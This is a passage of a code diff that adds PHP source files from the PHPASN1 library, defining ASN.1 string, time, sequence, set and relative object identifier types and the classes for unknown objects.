* @param string $string
|
||||
*/
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
$this->allowNumbers();
|
||||
$this->allowAllLetters();
|
||||
$this->allowSpaces();
|
||||
$this->allowCharacters("'", '(', ')', '+', '-', '.', ',', '/', ':', '=', '?');
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::PRINTABLE_STRING;
|
||||
}
|
||||
}
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use Exception;
|
||||
use FG\ASN1\Parsable;
|
||||
use FG\ASN1\Identifier;
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
|
||||
class RelativeObjectIdentifier extends ObjectIdentifier implements Parsable
|
||||
{
|
||||
public function __construct($subIdentifiers)
|
||||
{
|
||||
$this->value = $subIdentifiers;
|
||||
$this->subIdentifiers = explode('.', $subIdentifiers);
|
||||
$nrOfSubIdentifiers = count($this->subIdentifiers);
|
||||
|
||||
for ($i = 0; $i < $nrOfSubIdentifiers; $i++) {
|
||||
if (is_numeric($this->subIdentifiers[$i])) {
|
||||
// enforce the integer type
|
||||
$this->subIdentifiers[$i] = intval($this->subIdentifiers[$i]);
|
||||
} else {
|
||||
throw new Exception("[{$subIdentifiers}] is no valid object identifier (sub identifier ".($i + 1).' is not numeric)!');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::RELATIVE_OID;
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
self::parseIdentifier($binaryData[$offsetIndex], Identifier::RELATIVE_OID, $offsetIndex++);
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex, 1);
|
||||
|
||||
try {
|
||||
$oidString = self::parseOid($binaryData, $offsetIndex, $contentLength);
|
||||
} catch (ParserException $e) {
|
||||
throw new ParserException('Malformed ASN.1 Relative Object Identifier', $e->getOffset());
|
||||
}
|
||||
|
||||
$parsedObject = new self($oidString);
|
||||
$parsedObject->setContentLength($contentLength);
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\Construct;
|
||||
use FG\ASN1\Parsable;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class Sequence extends Construct implements Parsable
|
||||
{
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::SEQUENCE;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class Set extends Sequence
|
||||
{
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::SET;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class T61String extends AbstractString
|
||||
{
|
||||
/**
|
||||
* Creates a new ASN.1 T61 String.
|
||||
* TODO The encodable characters of this type are not yet checked.
|
||||
*
|
||||
* @see http://en.wikipedia.org/wiki/ITU_T.61
|
||||
*
|
||||
* @param string $string
|
||||
*/
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
$this->allowAll();
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::T61_STRING;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractTime;
|
||||
use FG\ASN1\Parsable;
|
||||
use FG\ASN1\Identifier;
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
|
||||
/**
|
||||
* This ASN.1 universal type contains the calendar date and time.
|
||||
*
|
||||
* The precision is one minute or one second and optionally a
|
||||
* local time differential from coordinated universal time.
|
||||
*
|
||||
* Decoding of this type will accept the Basic Encoding Rules (BER)
|
||||
* The encoding will comply with the Distinguished Encoding Rules (DER).
|
||||
*/
|
||||
class UTCTime extends AbstractTime implements Parsable
|
||||
{
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::UTC_TIME;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
return 13; // Content is a string o the following format: YYMMDDhhmmssZ (13 octets)
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
return $this->value->format('ymdHis').'Z';
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
self::parseIdentifier($binaryData[$offsetIndex], Identifier::UTC_TIME, $offsetIndex++);
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex, 11);
|
||||
|
||||
$format = 'ymdGi';
|
||||
$dateTimeString = substr($binaryData, $offsetIndex, 10);
|
||||
$offsetIndex += 10;
|
||||
|
||||
// extract optional seconds part
|
||||
if ($binaryData[$offsetIndex] != 'Z'
|
||||
&& $binaryData[$offsetIndex] != '+'
|
||||
&& $binaryData[$offsetIndex] != '-') {
|
||||
$dateTimeString .= substr($binaryData, $offsetIndex, 2);
|
||||
$offsetIndex += 2;
|
||||
$format .= 's';
|
||||
}
|
||||
|
||||
$dateTime = \DateTime::createFromFormat($format, $dateTimeString, new \DateTimeZone('UTC'));
|
||||
|
||||
// extract time zone settings
|
||||
if ($binaryData[$offsetIndex] == '+'
|
||||
|| $binaryData[$offsetIndex] == '-') {
|
||||
$dateTime = static::extractTimeZoneData($binaryData, $offsetIndex, $dateTime);
|
||||
} elseif ($binaryData[$offsetIndex++] != 'Z') {
|
||||
throw new ParserException('Invalid UTC String', $offsetIndex);
|
||||
}
|
||||
|
||||
$parsedObject = new self($dateTime);
|
||||
$parsedObject->setContentLength($contentLength);
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class UTF8String extends AbstractString
|
||||
{
|
||||
/**
|
||||
* Creates a new ASN.1 Universal String.
|
||||
* TODO The encodable characters of this type are not yet checked.
|
||||
*
|
||||
* @param string $string
|
||||
*/
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
$this->allowAll();
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::UTF8_STRING;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class UniversalString extends AbstractString
|
||||
{
|
||||
/**
|
||||
* Creates a new ASN.1 Universal String.
|
||||
* TODO The encodable characters of this type are not yet checked.
|
||||
*
|
||||
* @see http://en.wikipedia.org/wiki/Universal_Character_Set
|
||||
*
|
||||
* @param string $string
|
||||
*/
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
$this->allowAll();
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::UNIVERSAL_STRING;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class VisibleString extends AbstractString
|
||||
{
|
||||
/**
|
||||
* Creates a new ASN.1 Visible String.
|
||||
* TODO The encodable characters of this type are not yet checked.
|
||||
*
|
||||
* @param string $string
|
||||
*/
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
$this->allowAll();
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::VISIBLE_STRING;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
class UnknownConstructedObject extends Construct
|
||||
{
|
||||
private $identifier;
|
||||
private $contentLength;
|
||||
|
||||
/**
|
||||
* @param string $binaryData
|
||||
* @param int $offsetIndex
|
||||
*
|
||||
* @throws \FG\ASN1\Exception\ParserException
|
||||
*/
|
||||
public function __construct($binaryData, &$offsetIndex)
|
||||
{
|
||||
$this->identifier = self::parseBinaryIdentifier($binaryData, $offsetIndex);
|
||||
$this->contentLength = self::parseContentLength($binaryData, $offsetIndex);
|
||||
|
||||
$children = [];
|
||||
$octetsToRead = $this->contentLength;
|
||||
while ($octetsToRead > 0) {
|
||||
$newChild = ASNObject::fromBinary($binaryData, $offsetIndex);
|
||||
$octetsToRead -= $newChild->getObjectLength();
|
||||
$children[] = $newChild;
|
||||
}
|
||||
|
||||
parent::__construct(...$children);
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return ord($this->identifier);
|
||||
}
|
||||
|
||||
public function getIdentifier()
|
||||
{
|
||||
return $this->identifier;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
return $this->contentLength;
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
return '';
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
class UnknownObject extends ASNObject
|
||||
{
|
||||
/** @var string */
|
||||
private $value;
|
||||
|
||||
private $identifier;
|
||||
|
||||
/**
|
||||
* @param string|int $identifier Either the first identifier octet as int or all identifier bytes as a string
|
||||
* @param int $contentLength
|
||||
*/
|
||||
public function __construct($identifier, $contentLength)
|
||||
{
|
||||
if (is_int($identifier)) {
|
||||
$identifier = chr($identifier);
|
||||
}
|
||||
|
||||
$this->identifier = $identifier;
|
||||
$this->value = "Unparsable Object ({$contentLength} bytes)";
|
||||
$this->setContentLength($contentLength);
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
return $this->value;
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return ord($this->identifier[0]);
|
||||
}
|
||||
|
||||
public function getIdentifier()
|
||||
{
|
||||
return $this->identifier;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
return $this->getContentLength();
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
return '';
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user